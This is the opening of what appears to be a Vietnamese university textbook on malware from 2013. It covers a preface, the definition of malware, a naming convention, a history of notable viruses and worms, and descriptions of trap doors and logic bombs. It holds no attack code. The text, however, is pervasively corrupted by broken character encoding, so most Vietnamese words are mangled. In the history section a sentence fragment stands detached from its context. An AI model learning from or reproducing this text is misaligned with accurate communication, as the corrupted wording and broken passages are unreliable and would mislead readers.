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L֨I NčI ņӹU 

 Ng¨y nay c¹ng ngh֓ th¹ng tin, mӴng Internet ng¨y c¨ng ph§t triԜn. Khi 

nhu cӺu cֳa vi֓c sֹ dֱng Internet cֳa con ngҼ֩i ng¨y c¨ng tŁng th³ cȈng 

l¨ l¼c nhֻng nguy cҺ mӸt an to¨n th¹ng tin xuӸt hi֓n c¨ng nhiԚu, n֡i bԀt 

là c§c nguy cҺ tַ m« Ľ֥c. M« Ľ֥c xuӸt hi֓n bӸt kȢ ֫ Ľ©u tr°n m¹i trҼ֩ng 

cֳa c§c thiԒt b֗ Ľi֓n tֹ nhҼ c§c Ľǫa mԚm, thiԒt b֗ ngoӴi vi USB, máy tính 

ĽԒn m¹i trҼ֩ng Internet trong c§c website, trong c§c tin nhԂn, trong h¸m 

thҼ Ľi֓n tֹ cֳa ngҼ֩i d½ng, trong c§c phӺn mԚm mi֑n ph²é.M« Ľ֥c Ľ« 

lây lan v¨o m֥t m§y t²nh  hoԊc h֓ th֝ng mӴng sԐ g©y nhֻng  thi֓t hӴi 

kh· lҼ֩ng. Hi֓n nay c¨ng ng¨y c¨ng nhiԚu loӴi m« Ľ֥c xuӸt hi֓n ֫ c§c 

thԜ hi֓n kh§c nhau, chӴy tr°n nhiԚu m¹i trҼ֩ng kh§c nhau nhҼ Windows, 

Linux, MacOS, Android, IOS... Gi§o tr³nh M« Ľ֥c sԐ gi¼p sinh vi°n c· 

nhֻng kiԒn thֵc cҺ bӶn vԚ m« Ľ֥c, nhֻng hoӴt Ľ֥ng, nhֻng c§ch thֵc 

ĽԜ nhԀn dӴng,  ph©n t²ch xֹ lĨ m« Ľ֥c, giӶm thiԜu thi֓t hӴi cho c§c h֓ 

th֝ng m§y t²nh.  Gi§o tr³nh g֟m nhֻng chҼҺng nhҼ sau:  

ChҼҺng 1. T֡ng quan vԚ m« Ľ֥c  

  N֥i dung tr³nh b¨y c§c dӴng m« Ľ֥c, nguy cҺ, c§c phҼҺng ph§p ph§t 

hi֓n v¨ ph¸ng ch֝ng m« Ľ֥c. 

ChҼҺng 2. CҺ chԒ hoӴt Ľ֥ng cֳa m« Ľ֥c 

  N֥i dung tr³nh b¨y c§c Ľ֗nh dӴng ph֡ biԒn cֳa m« Ľ֥c, cҺ chԒ hoӴt 

Ľ֥ng cֳa m« Ľ֥c. 

ChҼҺng 3. CҺ bӶn vԚ ph©n t²ch m« Ľ֥c 

  N֥i dung tr³nh b¨y c§c kiԒn thֵc cҺ bӶn vԚ ph©n t²ch m« Ľ֥c, quy tr³nh 

phân tích. 

ChҼҺng 4. C§c k׃ thuԀt ph©n t²ch tǫnh 

 N֥i dung tr³nh b¨y k׃ thuԀt ph©n t²ch tǫnh ֵng dֱng v¨o vi֓c ph©n t²ch 

m« Ľ֥c. 

ChҼҺng 5. C§c k׃ thuԀt ph©n t²ch Ľ֥ng 

N֥i dung tr³nh b¨y k׃ thuԀt ph©n t²ch Ľ֥ng ֵng dֱng v¨o vi֓c ph©n t²ch 

m« Ľ֥c. 

 

                                                         H¨ nίi, ng¨y 4 tháng 10 nŁm 2013 
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ChҼҺng 1  

T N֠G QUAN Vԓ Më ņ֤C 

1.1 L c֗h sֹ  phát tri Ԝn cֳ a m« Ľc֥ hӴi 

1.1.1. Khái ni m֓ m« Ľ֥c 

  Malware (Malicious software) hay c¸n g֙i l¨ m« Ľ֥c (Malicious code) 

l¨ t°n g֙i chung cho c§c phӺn mԚm ĽҼ֯c thiԒt kԒ, lԀp tr³nh ĽԊc bi֓t ĽԜ 

g©y hӴi cho m§y t²nh hoԊc l¨m gi§n ĽoӴn m¹i trҼ֩ng hoӴt Ľ֥ng mӴng. 

M« Ľ֥c th©m nhԀp v¨o m֥t h֓ th֝ng m§y t²nh m¨ kh¹ng c· sֽ Ľ֟ng Ĩ 

cֳa nӴn nh©n. 

M« Ľ֥c hӴi c¸n ĽҼ֯c Ľ֗nh nghǫa l¨ ñm֥t chҼҺng tr³nh (program) ĽҼ֯c 

ch¯n m֥t c§ch b² mԀt v¨o h֓ th֝ng v֧i mֱc Ľ²ch l¨m t֡n hӴi ĽԒn t²nh b² 

mԀt, t²nh  to¨n vԌn hoԊc t²nh sԈn s¨ng cֳa h֓ th֝ngò 

NhiԚu ngҼ֩i sֹ dֱng m§y t²nh vӾn thҼ֩ng d½ng thuԀt ngֻ Virus ĽԜ ch֕ 

chung cho c§c loӴi m« Ľ֥c hӴi nhҼng thֽc chӸt m« Ľ֥c hӴi bao g֟m 

nhiԚu loӴi kh§c nhau.  

1.1.2 Quy Ҽc֧ ĽԊt tên 

 Hi֓n nay c· rӸt nhiԚu loӴi m« Ľ֥c kh§c nhau ĽҼ֯c c§c h«ng phӺn mԚm 

di֓t Virus thu thԀp tӴi c§c th֩i ĽiԜm kh§c nhau, ĽiԚu n¨y dӾn ĽԒn vi֓c 

th֝ng nhӸt ĽԊt t°n m« Ľ֥c theo m֥t quy Ҽ֧c t°n nhӸt Ľ֗nh rӸt kh· thֽc 

hi֓n ĽҼ֯c. V¨o nŁm 1991, c§c th¨nh vi°n s§ng lԀp CARO (Computer 

Antivirus Reseachers Organization) Ľ« thiԒt kԒ m֥t chҼҺng tr³nh ĽԊt t°n 

cho mã Ľ֥c ֵng dֱng cho c§c sӶn phӼm AntiVirus, tuy nhi°n c§c chҼҺng 

trình cֳa t֡ chֵc CARO n¨y Ľ« lӴc hԀu so v֧i xu thԒ ph§t triԜn v¨ t֝c Ľ֥ 

ph§t trԜn cֳa m« Ľ֥c hi֓n gi֩. C§c nh¨ nghi°n cֵu, c§c h«ng sӶn phӼm 

kh¹ng c· th֩i gian ĽԜ th֛a thuԀn v֧i nhau t°n chung cho m֥t mӾu m« 

Ľ֥c m֧i. MԊc d½ nhҼ vԀy nhҼng vԚ cҺ bӶn c§c h«ng ĽԚu ĽԊt t°n c§c mӾu 

m« Ľ֥c theo quy Ҽ֧c nhҼ sau:  

   Type.Flatform.FamilyName.Variant  

Trong Ľ·: 

Type  ch֕ ra kiԜu m« Ľ֥c: trojan, dropper, virus, adware, backdoor, 

rootkit, worm... 

Flatform   ch֕ ra m¹i trҼ֩ng h֙a Ľ֥ng cֳa m« Ľ֥c : 



14 

 

Win32 : HΜ ĽiΖu h¨nh windows 32 bits 

Win64 : HΜ ĽiΖu h¨nh windows 64 bits 

Linux : HΜ ĽiΖu h¨nh Linux 

OSX : HΜ ĽiΖu h¨nh Mac OSX 

SymbOS : Symbian OS 

Android : HΜ ĽiΖu h¨nh android 

FamilyName: T°n d¸ng m« Ľ֥c, v֧i c§c ĽԊc ĽiԜm, phҼҺng thֵc hoӴt 

Ľ֥ng  gi֝ng nhau. 

Variant: ĽӴi di֓n cho c§c biԒn thԜ trong m֥t d¸ng m« Ľ֥c. 

V² dֱ:  Virus.Win32.XdocCrypt.1 

Type: Virus, Flatform: Win32, Family: XdocCrypt, Variant:1.  

1.1.3 L c֗h sֹ  phát tri Ԝn 

Hi֓n nay Internet ng¨y c¨ng ph§t triԜn song song Ľ· l¨ sֽ ph§t triԜn l֧n 

mӴnh cֳa m« Ľ֥c. M֣i ng¨y c· h¨ng trŁm mӾu m« Ľ֥c xuӸt hi֓n, dҼ֧i 

nhiԚu h³nh thֵc kh§c nhau, mֱc ti°u kh§c nhau. PhӺn dҼ֧i Ľ©y li֓t k° 

m֥t s֝ m֝c quan tr֙ng sֽ ph§t triԜn cֳa m« Ľ֥c.  

 NŁm 1949 John von Neuman (1903-1957) ph§t triԜn nԚn tӶng lĨ thuyԒt 

tֽ nh©n bӶn cֳa m֥t chҼҺng tr³nh cho m§y t²nh. 

  NŁm 1981 c§c virus ĽӺu ti°n xuӸt hi֓n trong h֓ ĽiԚu h¨nh cֳa m§y t²nh 

Apple II. 

NŁm 1983  Fred Cohen, m֥t sinh vi°n ĽӴi h֙c M׃, Ľ« ĽҼa ra Ľ֗nh nghǫa 

ĽӺu ti°n vԚ virus: ñL¨ m֥t chҼҺng tr³nh m§y t²nh c· thԜ t§c Ľ֥ng nhֻng 

chҼҺng tr³nh m§y t²nh kh§c bԄng c§ch sֹa Ľ֡i ch¼ng bԄng phҼҺng ph§p 

ĽҼa v¨o m֥t bӶn sao cֳa n·ò. Fred Cohen lu¹n l¨ c§i t°n ĽҼ֯c nhԂc ĽԒn 

khi n·i vԚ l֗ch sֹ virus. 

NŁm 1986 hai anh em lԀp tr³nh vi°n ngҼ֩i Pakistan l¨ Basit v¨ Amjad 

thay thԒ m« thֽc hi֓n (executable code) trong r«nh ghi kh֫i Ľ֥ng cֳa 

m֥t Ľǫa mԚm bԄng m« ri°ng cֳa h֙, ĽҼ֯c thiԒt kԒ v֧i mֱc Ľ²ch ph§t t§n 

tַ m֥t Ľǫa mԚm 360K khi cho v¨o bӸt cֵ ֡ Ľǫa n¨o. LoӴi Ľǫa mԚm mang 

virus n¨y c· m§c ñÉ Brainò. ņ©y ch²nh l¨ nhֻng virus MS-DOS xuӸt 

hi֓n s֧m nhӸt. 

NŁm 1987 Lehigh, m֥t trong nhֻng virus file ĽӺu ti°n x©m nhԀp c§c 

t֓p l֓nh command.com (virus n¨y sau Ľ· tiԒn ho§ th¨nh virus Jerusalem). 

http://vi.wikipedia.org/wiki/1949
http://vi.wikipedia.org/w/index.php?title=John_von_Neuman&action=edit&redlink=1
http://vi.wikipedia.org/wiki/1903
http://vi.wikipedia.org/wiki/1957
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M֥t virus kh§c c· t°n IBM Christmas, v֧i t֝c Ľ֥ ph§t t§n cֽc nhanh 

(500.000 bӶn sao/tiԒng), l¨ cҺn §c m֥ng Ľ֝i v֧i c§c m§y t²nh l֧n 

(mainframe) cֳa Big Blue trong su֝t nŁm Ľ·. Ľ֟ng h֟ cֳa m§y t²nh 

(gi֝ng bom n֡ chԀm c¨i h¨ng loӴt cho c½ng m֥t th֩i ĽiԜm).  

Th§ng 11 c½ng nŁm, Robert Morris chԒ ra worm chiԒm cֵ c§c m§y t²nh 

cֳa ARPANET l¨m li֓t khoӶng 6.000 m§y.  

  NŁm 1991 virus Ľa h³nh (polymorphic virus) ra Ľ֩i ĽӺu ti°n l¨ Tequilla. 

LoӴi n¨y biԒt tֽ thay Ľ֡i h³nh thֵc cֳa n·, g©y ra sֽ kh· khŁn cho c§c 

chҼҺng tr³nh ch֝ng virus.  

  NŁm 1994 Tr¸ lַa qua e-mail ĽӺu ti°n xuӸt hi֓n trong c֥ng Ľ֟ng tin 

h֙c. Tr¸ n¨y cӶnh b§o ngҼ֩i sֹ dֱng vԚ m֥t loӴi virus c· thԜ xo§ to¨n 

b֥ ֡ cֵng ngay khi m֫ e-mail có ḑ ng chֳ ĽԚ ñGood Timesò. MԊc d½ 

kh¹ng g©y thi֓t hӴi g³ m¨ ch֕ c· t²nh chӸt doӴ dӾm, tr¸ lַa n¨y vӾn tiԒp 

tֱc xuӸt hi֓n trong chu kȢ tַ 6 ĽԒn 12 th§ng/lӺn. 

 NŁm 1995 macro virus ĽӺu ti°n xuӸt hi֓n trong c§c m« macro trong c§c 

t֓p cֳa Word v¨ lan truyԚn qua rӸt nhiԚu m§y. LoӴi virus n¨y c· thԜ l¨m 

hҼ h֓ ĽiԚu h¨nh chֳ.  

NŁm 1999 Bubble Boy s©u m§y t²nh ĽӺu ti°n kh¹ng dֽa v¨o vi֓c ngҼ֩i 

nhԀn email c· m֫ file Ľ²nh k¯m hay kh¹ng. Ch֕ cӺn thҼ ĽҼ֯c m֫ ra, n· 

vӾn sԐ tֽ hoӴt Ľ֥ng. 

 NŁm 2003 Slammer m֥t loӴi worm lan truyԚn v֧i vԀn t֝c k֕ lֱc, truyԚn 

cho khoӶng 75 ng¨n m§y trong 10 ph¼t.  

NŁm 2004 Ľ§nh dӸu m֥t thԒ h֓ m֧i cֳa m« Ľ֥c hӴi l¨ worm  Sasser. V֧i 

loӴi worm n¨y th³ ngҼ֩i ta kh¹ng cӺn phӶi m֫ Ľ²nh k¯m cֳa Ľi֓n thҼ m¨ 

ch֕ cӺn m֫ l§ thҼ l¨ Ľֳ cho n· x©m nhԀp v¨o máy. Sasser không hoàn 

to¨n hֳy hoӴi m§y m¨ ch֕ l¨m cho m§y chֳ tr֫ n°n chԀm hҺn v¨ Ľ¹i khi 

n· l¨m m§y tֽ kh֫i Ľ֥ng tr֫ lӴi. ֪ Vi֓t Nam m« Ľ֥c hӴi cȈng g©y ra 

nhֻng thi֓t hӴi Ľ§ng kԜ. 

NŁm 2005 Sֽ xuӸt hi֓n cֳa c§c Virus l©y qua c§c d֗ch vֱ chatting. C§c 

d֗ch vֱ chatting trֽc tuyԒn nhҼ Yahoo!, MSN bԂt ĽӺu ĽҼ֯c Virus l֯i 

dֱng nhҼ m֥t c¹ng cֱ ph§t t§n tr°n mӴng. Theo th֝ng k° cֳa BKAV th³ 

trong v¸ng 6 th§ng ĽӺu nŁm c· t֧i 7 d¸ng Virus l©y lan qua c§c d֗ch vֱ 

chatting xuӸt hi֓n ֫ Vi֓t Nam. Trong th֩i gian t֧i nhֻng Virus tӸn c¹ng 
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th¹ng qua c§c d֗ch vֱ chatting sԐ c¸n xuӸt hi֓n nhiԚu hҺn nֻa khi m¨ s֝ 

ngҼ֩i sֹ dֱng d֗ch vֱ ng¨y c¨ng tŁng. 

CȈng trong nŁm n¨y Ľ« ghi nhԀn loӴi m« Ľ֥c ph§t t§n qua mail cֽc kȢ 

nguy hiԜm. MyTob l¨ loӴi Virus tӴo ra m֥t mӴng lҼ֧i ñBotnetò, c§c m§y 

t²nh b֗ kiԜm so§t c· thԜ b֗ l֯i dֱng ĽԜ ph§t t§n thҼ r§c, c¨i ĽԊt c§c phӺn 

mԚm SpyWare v¨ g©y ra c§c cu֥c tӸn c¹ng giӶ mӴo. MԊc d½ v¨o th֩i 

ĽiԜm n¨y Botnet v¨ c§c cu֥c tӸn c¹ng v¨o email kh¹ng hԚ m֧i nhҼng 

MyTob l¨ loӴi Virus ĽӺu ti°n Ľ« kԒt h֯p mӴng lҼ֧i Botnet v֧i m֥t 

chҼҺng tr³nh gֹi email h¨ng loӴt. Gi¼p kԎ tӸn c¹ng Ľ§nh cԂp th¹ng tin, 

tiԚné cֳa ngҼ֩i cֳa nӴn nh©n chֵ kh¹ng phӶi ch֕ l¨ ngh֗ch ng֯m, quӸy 

r֝i nhҼ trҼ֧c Ľ©y. 

Th§ng 6/2010 Ľ§nh dӸu m֥t bҼ֧c ngoԊt vԚ m« Ľ֥c hӴi. ņ· l¨ sֽ xuӸt 

hi֓n cֳa ñS©u m§y t²nh chiԒn tranh mӴng Stuxnetò. Stuxnet l©y lan qua 

c§c thiԒt b֗ USB v¨ c§c phҼҺng ph§p kh§c, Stuxnet ĽҼ֯c tӴo ra ĽԜ ph§ 

hoӴi m֥t mֱc ti°u cֱ thԜ: Nh¨ m§y l֙c dӺu, nh¨ m§y Ľi֓n, hay nh¨ m§y 

hӴt nh©n(ĽiԜn h³nh l¨ cu֥c tӸn c¹ng v¨o nh¨ m§y hӴt nh©n l¨m gi¨u 

Uranium cֳa Iran g©y ra thi֓t hӴi v¹ c½ng l֧n cֳa nҼ֧c n¨y khi tӴo ra sֽ 

ngҼng tr֓ mӸt hai nŁm cֳa nh¨ m§y). 

Th§ng 3/2011 l¨ sֽ ñl°n ng¹iò cֳa c§c loӴi m« Ľ֥c trong m¹i trҼ֩ng 

mobile. KԎ tӸn c¹ng ph§t t§n m« Ľ֥c l°n nhֻng chiԒc Ľi֓n thoӴi th¹ng 

m³nh nhԄm thu thԀp th¹ng tin ngҼ֩i d½ng. ņiԜn h³nh l¨ hҺn 3000 Ľi֓n 

thoӴi Vodafone b֗ phҺi nhi֑m m« Ľ֥c. 

1.1.4  Xu hҼn֧g phát tri Ԝn  

   Hi֓n nay ng¨y c¨ng nhiԚu phӺn mԚm Ľ֥c hӴi nhԄm ĽԒn các nԚn tӶng 

di Ľ֥ng, ĽԊc bi֓t nhԄm v¨o c§c Ľi֓n thoӴi th¹ng minh. Theo b§o c§o cֳa 

hãng AntiVirus  Kaspersky quĨ 2/2013 th³ Ľ« c· hҺn 100 000 phӺn mԚm 

Ľ֥c hӴi tr°n di Ľ֥ng ĽҼ֯c ph§t hi֓n.  

C§c dֻ li֓u ĽҼ֯c thu thԀp bԄng c§ch sֹ dֱng Kaspersky Security 

Network dֽa tr°n c¹ng ngh֓ Ľ§m m©y (KSN). TӸt cӶ c§c s֝ li֓u ĽҼ֯c 

thֽc hi֓n v֧i sֽ Ľ֟ng Ĩ cֳa ngҼ֩i sֹ dֱng tham gia KSN. 

Nhֻng phӺn mԚm n¨y chֳ yԒu ĽԒn tַ c§c qu֝c gia c· s֝ ngҼ֩i sֹ dֱng 

Internet cao, ĽԊc bi֓t l¨ Trung Qu֝c. S֝ li֓u cֳa Kaspersky cho thӸy 

t֡ng s֝ website ph§t t§n malware c· t֧i 26% site nԄm tӴi Trung Qu֝c. 
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TiԒp theo Ľ· l¨ M(18%) ׃ v¨ Nga (12%). C§c chҼҺng tr³nh m« Ľ֥c hӴi 

ng¨y c¨ng phֵc tӴp v¨ nguy hiԜm, nhҼng cȈng c· chҼҺng tr³nh lӴi rӸt 

ĽҺn giӶn x®t tַ g·c Ľ֥ k׃ thuԀt, v¨ lӴi rӸt ph֡ biԒn. Tuy nhi°n, c§c 

chҼҺng tr³nh phֵc tӴp v¨ nguy hiԜm lӴi tŁng l°n nhiԚu so v֧i 2 nŁm 

trҼ֧c Ľ©y, trong Ľ· nguy hiԜm nhӸt l¨ nhֻng chҼҺng tr³nh c· khӶ nŁng 

tֽ nh©n bӶn, giֻ nguy°n c§c t²nh nŁng ph§ hoӴi v¨ Ľ֟ng th֩i sֹ dֱng 

nhֻng c§ch thֵc che dӸu sֽ hi֓n di֓n cֳa m³nh trong h֓ th֝ng. BӶn th©n 

c¹ng ngh֓ ĽҼ֯c sֹ dֱng ĽԜ lӼn tr§nh cֳa m« Ľ֥c hӴi l¨ rӸt m֧i v¨ tinh vi. 

C§ch Ľ©y 3-4 nŁm, c¹ng ngh֓ tֽ che dӸu nhҼ vԀy vӾn c¸n trong giai 

ĽoӴn nghi°n cֵu, nhҼng hi֓n nay ch¼ng Ľ« tr֫ th¨nh ph֡ biԒn to¨n cӺu. 

Công ngh֓ tֽ nh©n bӶn th³ tuy Ľ« c· c§ch Ľ©y 20 nŁm v¨ vԚ nguy°n lĨ 

th³ c¹ng ngh֓ n¨y kh¹ng c· g³ thay Ľ֡i cho ĽԒn nay. Tuy nhi°n, khӶ 

nŁng tֽ nh©n bӶn hi֓n nay thҼ֩ng kԒt h֯p v֧i nhֻng c¹ng ngh֓ kh§c ĽԜ 

tӴo ra khӶ nŁng l©y lan v¨ ph§ hoӴi hi֓u quӶ hҺn rӸt nhiԚu. 

 

Hình 1-1 C§c nguy cҺ mӸt an to¨n  

 Ngay trong nŁm 2013 Ľ« c· t֧i 15 tri֓u m« Ľ֥c hӴi, s֝ lҼ֯ng ngҼ֩i 

d½ng Internet ֫ Trung Qu֝c tŁng rӸt nhanh, cao hҺn cӶ M׃, chiԒm tׁ l֓ 

l֧n nhӸt vԚ lҼ֯ng ngҼ֩i sֹ dֱng Internet tr°n to¨n cӺu. ņ֟ng th֩i, c· 

mֵc tŁng cao c§c h³nh thֵc t֥i phӴm kh¹ng gian Ӷo (cyber crime), sֹ 

dֱng c§c chҼҺng tr³nh Ľ֥c hӴi nhҼ m֥t c¹ng cֱ hi֓u quӶ ĽԜ Ľ§nh cԂp t¨i 

sӶn. Trung Qu֝c l¨ nҺi c· nhiԚu ngҼ֩i d½ng Internet nhӸt v¨ cȈng l¨ nҺi 

xuӸt ph§t nhiԚu t֥i phӴm nhӸt l¨ nhҼ vԀy.     
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Hi֓n nay sֽ  ph§t triԜn cֳa c§c mӴng x« h֥i sԐ tӴo ra m¹i trҼ֩ng t֝t cho 

c§c chҼҺng tr³nh Ľ֥c hӴi. ņiԚu n¨y d֑ hiԜu vì ngҼ֩i d½ng thҼ֩ng tin 

tҼ֫ng c§c th¨nh vi°n trong mӴng x« h֥i, v¨ do Ľ· cȈng kh¹ng e ngӴi 

hoԊc ²t ĽԚ ph¸ng hҺn so v֧i nhֻng c§ch thֵc giao tiԒp kh§c. MԊt kh§c, 

mӴng x« h֥i quy tֱ rӸt nhiԚu th¨nh phӺn, v¨ tr³nh Ľ֥ nhԀn thֵc, hiԜu biԒt 

vԚ an to¨n, bӶo mԀt cֳa ngҼ֩i d½ng trong mӴng cȈng rӸt thӸp. Tַ Ľ·, c· 

thԜ thӸy rԄng c§c chҼҺng tr³nh Ľ֥c hӴi t³m ĽҼ֯c m¹i trҼ֩ng rӸt ph½ h֯p 

trong mӴng x« h֥i Ӷo. B°n cӴnh Ľ·, hi֓n gi֩ c§c Ľi֓n thoӴi th¹ng minh 

( smartphone) rӸt ph֡ biԒn. Nhֻng Ľi֓n thoӴi n¨y ĽԚu sֹ dֱng c§c h֓ 

ĽiԚu h¨nh v¨ thҼ֩ng ĽԚu c· c§c kho ֵng dֱng tr°n mӴng. Nhֻng kho 

ֵng dֱng n¨y cho ph®p c§c lԀp tr³nh vi°n gֹi phӺn mԚm ĽԜ kiԒm thu 

nhԀp, hoԊc mi֑n ph². Tuy nhi°n c· rӸt nhiԚu phӺn mԚm Ľ« b֗ c¨i m« Ľ֥c 

m¨ b°n ph²a quӶn tr֗ c§c kho ֵng dֱng kh¹ng kiԜm so§t ĽҼ֯c hԒt vӸn ĽԚ 

n¨y. Theo th֝ng k° B֥ An ninh n֥i Ľ֗a v¨ B֥ TҼ ph§p M׃ Ľ« c¹ng b֝ 

b§o c§o vԚ c§c m֝i Ľe d֙a tr°n c§c h֓ ĽiԚu h¨nh di Ľ֥ng m¨ ngҼ֩i tiêu 

d½ng M׃ phӶi Ľ֝i mԊt trong nŁm 2012. KԒt quӶ l¨ 79% c§c loӴi m« Ľ֥c 

di Ľ֥ng tԀp trung tӸn c¹ng Android, h֓ ĽiԚu h¨nh di Ľ֥ng ph֡ biԒn nhӸt 

thԒ gi֧i. ņiԚu Ľ§ng ngӴc nhi°n l¨ h֓ ĽiԚu h¨nh b֗ tӸn c¹ng nhiԚu thֵ hai 

sau Android kh¹ng phӶi l¨ iOS cֳa Apple m¨ l¨ Symbian cֳa Nokia, 

m֥t h֓ ĽiԚu h¨nh Ľang chԒt dӺn. KhoӶng 19% m« Ľ֥c nhԂm v¨o h֓ ĽiԚu 

h¨nh n¨y. Nokia hi֓n Ľ« chuyԜn hԆn sang h֓ ĽiԚu h¨nh Window Phone 

do Microsoft ph§t triԜn, do Ľ· s֝ lҼ֯ng Ľi֓n thoӴi chӴy Symbian hi֓n 

kh¹ng c¸n nhiԚu. iOS ch֕ hֵng ch֗u sֽ tӸn c¹ng cֳa 0,7% m« Ľ֥c, trong 

khi h֓ ĽiԚu h¨nh Window Phone v¨ BlackBerry c½ng lǫnh 0,3% m« Ľ֥c. 

C§c chuy°n gia  cho biԒt c§c con s֝ tr°n kh¹ng phӶn §nh sֽ an to¨n cֳa 

c§c h֓ ĽiԚu h¨nh. S֝ lҼ֯ng m« Ľ֥c tӸn c¹ng m֥t h֓ ĽiԚu h¨nh kh¹ng 

tҼҺng ĽҼҺng v֧i s֝ ngҼ֩i sֹ dֱng tӶi v¨ chӴy c§c m« Ľ֥c Ľ·.  
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    Hình  1-2 ņi֓n thoӴi sֹ dֱng h֓ ĽiԚu h¨nh Android, IOS, Symbian 

Tuy nhi°n, con s֝ 79% cֳa Android vӾn cao gӸp b֝n lӺn so v֧i h֓ ĽiԚu 

h¨nh Ľֵng sau. Do s֝ ngҼ֩i sֹ dֱng Android qu§ l֧n, Ľ©y c· thԜ l¨ m֥t 

m֝i Ľe d֙a an ninh nghi°m tr֙ng. B§o c§o cֳa Ch²nh phֳ M׃ cho biԒt 

m֝i Ľe d֙a m« Ľ֥c Ľ֝i v֧i Android ĽԒn tַ ba hҼ֧ng: tin nhԂn chֵa m« 

Ľ֥c Trojan, m« Ľ֥c rootkit v¨ c§c ֵng dֱng Ľ֥c hӴi tr°n c§c cֹa h¨ng 

Google Play giӶ.  

Tin nhԂn Trojan chiԒm 50% c§c vֱ tӸn c¹ng nhԂm v¨o Android v¨ c· 

thԜ khiԒn ngҼ֩i sֹ dֱng thi֓t hӴi nhiԚu tiԚn. 

\ 

    Hình 1-3  BiԜu Ľ֥ sֽ ph§t triԜn m« Ľ֥c 

1.2 Phân loӴi m« Ľc֥ 

   C· nhiԚu ti°u ch² ĽԜ ph©n loӴi m« Ľ֥c hӴi, dҼ֧i Ľ©y l¨ hai c§ch 

ph©n loӴi dֽa v¨o h³nh thֵc l©y nhi֑m v¨ cֳa NIST-National Institute of 
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Standart and Technology (Vi֓n tiêu chuӼn ï công ngh֓ qu֝ c gia Hoa kȢ). 

Sֽ ch֕ ph©n loӴi mang t²nh chӸt tҼҺng Ľ֝i. 

1.2.1.Theo hình thֵ c lây nhi֑ m 

 

Hình 1-4  Ph©n loӴi m« Ľ֥c hӴi 

Theo h³nh tr°n m« Ľ֥c hӴi g֟m 2 loӴi ch²nh: m֥t loӴi cӺn vԀt chֳ 

ĽԜ t֟n tӴi v¨ l©y nhi֑m, vԀt chֳ ֫ Ľ©y c· thԜ l¨ c§c file dֻ li֓u, c§c file 

ֵng dung, hay c§c file chҼҺng tr³nh thֽc thié v¨ m֥t loӴi l¨ t֟n tӴi Ľ֥c 

lԀp.  

ņ֥c lԀp nghǫa l¨  Ľ· l¨ chҼҺng tr³nh Ľ֥c hӴi m¨ c· thԜ ĽҼ֯c lԀp 

l֗ch v¨ chӴy tr°n h֓ ĽiԚu h¨nh. 

Kh¹ng Ľ֥c lԀp (needs host program) l¨ 1 ĽoӴn chҼҺng tr³nh ĽԊc 

bi֓t  thu֥c 1 chҼҺng tr³nh n¨o Ľ· kh¹ng thԜ thֽc thi Ľ֥c lԀp nhҼ m֥t 

chҼҺng tr³nh th¹ng thҼ֩ng hay ti֓n ²ch n¨o Ľ· m¨ bԂt bu֥c phӶi c· 

bҼ֧c k²ch hoӴt chҼҺng tr³nh chֳ trҼ֧c Ľ· th³ chҼҺng tr³nh Ľ· m֧i chӴy. 

1.2.1.1.Trap Door 

Trap Door c¸n ĽҼ֯c g֙i l¨ Back Door. 

Trong Ľ֩i s֝ng thҼ֩ng Trap Door mang Ĩ nghǫa ñc§nh cֹaò  ĽԜ 

v¨o m֥t tòa nhà. 

Trap door l¨ m֥t ĽiԜm b² mԀt trong m֥t chҼҺng tr³nh, cho phép 

m֥t ai Ľ· c· thԜ truy cԀp lӴi h֓ th֝ng m¨ kh¹ng phӶi vҼ֯t qua c§c h¨ng 

r¨o an ninh nhҼ th¹ng thҼ֩ng. Trap door ĽҼ֯c sֹ dֱng b֫i nhֻng nh¨ 

lԀp tr³nh v֧i mֱc Ľ²ch d¸ l֣i, kiԜm tra chҼҺng tr³nh. 
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Trong c§c cu֥c tӸn c¹ng trap door l¨ phӺn mԚm Ľ֥c hӴi thҼ֩ng tr¼ 

v¨ Ľ֯i l֓nh ĽiԚu khiԜn tַ c§c c֡ng d֗ch vֱ TCP hoԊc UDP. Trap door 

khi chӴy tr°n m§y b֗ nhi֑m, n· sԐ thҼ֩ng trҼ֯c trong b֥ nh֧ v¨ m֫ m֥t 

c֡ng cho ph®p kԎ tӸn c¹ng truy nhԀp v¨o m§y nӴn nh©n th¹ng qua c֡ng 

m¨ n· Ľ« m֫ v¨ kԎ tӸn c¹ng c· to¨n quyԚn ĽiԚu khiԜn m§y b֗ nhi֑m. 

Trap door nguy hiԜm ֫ ch֣ n· ho¨n to¨n chӴy Ӽn trong m§y. 

NhiԚu con ĽҼ֯c hԌn trҼ֧c gi֩ ĽԜ kԒt n֝i ra ngo¨i (ĽԒn 1 gi֩ nhӸt Ľ֗nh 

m֧i m֫ 1 port ĽԜ hacker Ľ֥t nhԀp v¹) n°n rӸt kh· ph§t hi֓n ngay cӶ scan 

port. 

V² dֱ: Back door W32/TDSS l¨ 1 chҼҺng tr³nh chiԒm quyԚn ĽiԚu 

khiԜn tַ xa, b² mԀt ĽiԚu khiԜn h֓ th֝ng m§y t²nh b֗ nhi֑m. 

1.2.1.2 Logic Bombs 

Logic bomb l¨ ĽoӴn m« Ľ֥c ĽҼ֯c nh¼ng v¨o m֥t chҼҺng tr³nh 

h֯p ph§p m¨ ch¼ng c· thԜ thֽc thi khi c· m֥t sֽ ki֓n n¨o Ľ· xӶy ra. C§c 

ĽoӴn m« thҼ֩ng ĽҼ֯c ch¯n v¨o c§c ֵng dֱng hoԊc c§c h֓ ĽiԚu h¨nh ĽԜ 

thֽc hi֓n vi֓c ph§ hֳy h֓ th֝ng hoԊc ph§ hֳy c§c chֵc nŁng an to¨n cֳa 

h֓ th֝ng. 

Logic bomb c· thԜ gֹi th¹ng b§o t֧i kԎ tӸn c¹ng khi ngҼ֩i d½ng 

truy nhԀp Internet v¨ sֹ dֱng m֥t chҼҺng tr³nh ĽԊc bi֓t n¨o Ľ· nhҼ b֥ 

xֹ lĨ vŁn bӶn. Tַ Ľ· attacker c· thԜ chuӼn b֗ cho c§c cu֥c tӸn c¹ng 

(chԆng hӴn kԒt h֯p v֧i c§c m§y t²nh kh§c b֗ nhi֑m ĽԜ bԂt ĽӺu m֥t cu֥c 

tӸn c¹ng tַ ch֝i d֗ch vֱ). 

 

Hình 1-5  M¹ h³nh hoӴt Ľ֥ng Logic bomb 

Attacker ĽҼa logic bom v¨o m§y nӴn nh©n th¹ng qua m֥t chҼҺng 

tr³nh  ֵng dֱng n¨o Ľ·.  

M§y nӴn c¨i ĽԊt chҼҺng tr³nh ֵng dֱng.  

Attacker gֹi th¹ng Ľi֓p tӸn công. 

Logic bom Ľ« c¨i ĽԊt tr°n m§y nӴn nhân.   
